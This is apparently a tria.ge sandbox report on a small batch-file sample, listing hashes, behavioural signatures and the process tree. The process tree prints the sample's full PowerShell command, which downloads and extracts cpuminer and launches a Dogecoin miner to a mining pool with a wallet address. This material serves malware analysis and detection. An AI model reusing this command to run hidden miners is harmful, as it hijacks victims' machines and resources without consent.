Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
1792s -
max time network
1795s -
platform
windows10-1703_x64 -
resource
win10-20231215-ja -
resource tags
arch:x64arch:x86image:win10-20231215-jalocale:ja-jpos:windows10-1703-x64systemwindows -
submitted
04/02/2024, 14:57
Static task
static1
Behavioral task
behavioral1
Sample
73u3Ito.bat
Resource
win10-20231215-ja
Behavioral task
behavioral2
Sample
73u3Ito.bat
Resource
win10v2004-20231215-ja
General
-
Target
73u3Ito.bat
-
Size
499B
-
MD5
fe74bff27516829a88cfbc6f6e99646f
-
SHA1
0c15d859211c79910b277d07e729bec7197a60cd
-
SHA256
b1f312f139949cac20d0591831ce57c227c6ac77ebd98edfcdafa5c0b02cd2bb
-
SHA512
a94dbaef073e7b62ff9827887f1da6837103316c5656719b176ba1c2a063066f5f159b8ca783208db629121beea33fb81a94b9e6f4f4ec2612ee923639947a98
Malware Config
Signatures
-
Blocklisted process makes network request 2 IoCs
flow pid Process 2 4980 powershell.exe 4 4980 powershell.exe -
Executes dropped EXE 1 IoCs
pid Process 2084 cpuminer-sse2.exe -
Loads dropped DLL 5 IoCs
pid Process 2084 cpuminer-sse2.exe 2084 cpuminer-sse2.exe 2084 cpuminer-sse2.exe 2084 cpuminer-sse2.exe 2084 cpuminer-sse2.exe -
Suspicious behavior: EnumeratesProcesses 3 IoCs
pid Process 4980 powershell.exe 4980 powershell.exe 4980 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 4980 powershell.exe -
Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 780 wrote to memory of 4980 780 cmd.exe 74 PID 780 wrote to memory of 4980 780 cmd.exe 74 PID 4980 wrote to memory of 3096 4980 powershell.exe 75 PID 4980 wrote to memory of 3096 4980 powershell.exe 75 PID 3096 wrote to memory of 2084 3096 cmd.exe 77 PID 3096 wrote to memory of 2084 3096 cmd.exe 77
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\73u3Ito.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:780 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -Command "Invoke-WebRequest -Uri 'https://github.com/JayDDee/cpuminer-opt/releases/download/v23.15/cpuminer-opt-23.15-windows.zip' -OutFile "$env:TEMP\cpuminer.zip"; Expand-Archive -Path "$env:TEMP\cpuminer.zip" -DestinationPath "$env:TEMP\cpuminer"; Set-Location -Path "$env:TEMP\cpuminer"; Start-Process -FilePath 'cmd.exe' -ArgumentList '/k', 'cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.na.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 2'"2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4980 -
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /k cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.na.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 23⤵
- Suspicious use of WriteProcessMemory
PID:3096 -
C:\Users\Admin\AppData\Local\Temp\cpuminer\cpuminer-sse2.execpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.na.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 24⤵
- Executes dropped EXE
- Loads dropped DLL
PID:2084
-
-
-
Network
MITRE ATT&CK Matrix
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
1B
MD5c4ca4238a0b923820dcc509a6f75849b
SHA1356a192b7913b04c54574d18c28d46e6395428ab
SHA2566b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
SHA5124dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a
-
Filesize
1.0MB
MD5143263d750f7beebb7f163ab38b6922b
SHA1eb3cb57c5c1015c9f7a21f41839f5a37a65d2432
SHA256c61aedc61e191f086421cb5daa701322fe035b7214b056893ba62709ebb3b111
SHA512df04e599db871c27c40a072511c0e914b9d312a5ffde5418e8f9bc3223eac01cbbcd09c8587c941dba7b98b999940436cce0351a2b39c9e3dd3c71f0a5e9baa0
-
Filesize
1.0MB
MD55a25cdff4a5c5973f0c8aecf63e65035
SHA1ee52436151c1b5fe036f0120cc64a3822fc8cac7
SHA256da022691819b83909ac9de8676ca02b8fb84e14bacb6d9558238b5b46a719984
SHA5125ab277132ba7ce2f993badc6f23321b27568a52120490816c7c30af472fbaa9732380af35aa62167fd27ed91ae03f16e8c206424c271db1af8a324db7a356f8a
-
Filesize
1.2MB
MD5528f914d14c8d1ab330f01354c3d9112
SHA182dfb21884ccaab1f2a39c06c34d1485a996fa80
SHA25658c84c95553a336c8819a45138d05fd6dfeb027a771b520c6fc1003a69e3b31c
SHA512cfaef754e55e5bd229b9e9ba86549c4a1404371c02cbbc3e581100c793b3d9c35c15766a2c45bc5809318c5e49f7836780373e0f31ba39cac2f8b25992edc691
-
Filesize
1.3MB
MD585ec5b19a3d0f87a1f5069cca9633b6d
SHA19f904a477f9a4304b237490f4e04790971431dcb
SHA25601cd95129028f1485318a3dfb476456c205fd3922c5df736b1725f0a7059322f
SHA512aba4fea403b5451f5c42018144346011886ab4cf82954d5569dbc5cbcaf993f89ac4312ed54f9fbbc283d22cec2e779383460deb994cbcce418e718f915cc815
-
Filesize
836KB
MD5aeab40ed9a8e627ea7cefc1f5cf9bf7a
SHA15e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8
SHA256218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9
SHA512c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8
-
Filesize
1.2MB
MD57cf672bee2afba2dcd0c031ff985958e
SHA16b82a205db080ffdcb4a4470fce85a14413f3217
SHA256c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05
SHA5123e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5
-
Filesize
1.1MB
MD503ae1346c99a66fcbd06c3a56898820a
SHA1cf57878eb1c3523d08468ba3e9e65a063c24d902
SHA256bdb28d28d4f6093c2bbf0cbdf1b2edaf325ad34c214cde4123437896488dc445
SHA512b1e6f93db804c65f996ae29123a601ee95830391d9f5b73608962cbcd25a9082f1b1f9a6e732e5f84bfa3bd7207101edf9d076445370150ae58c9dcace634260
-
Filesize
731KB
MD590211c3fb1aee5cbddcc3321604b1949
SHA12a51b6e9d83ea3a2931434eb704f860ee160ac74
SHA256618465ac3dc1db2168f3184fda85de2afd7eb303fd3531b1c8a2890543739378
SHA512a8ced8e5eb3e73de44b2d5ce36e826a67acd89fab71f5e212d6660a4988c3eec743d0c0db9e782120e37ec35ab0561b01415e90c86913dfc345418f6a1a3f5ed
-
Filesize
606KB
MD5585efec1bc1d4d916a4402c9875dff75
SHA1d209613666ccac9d0ddab29a3bc59aa00a0968fa
SHA2562f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232
SHA512b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770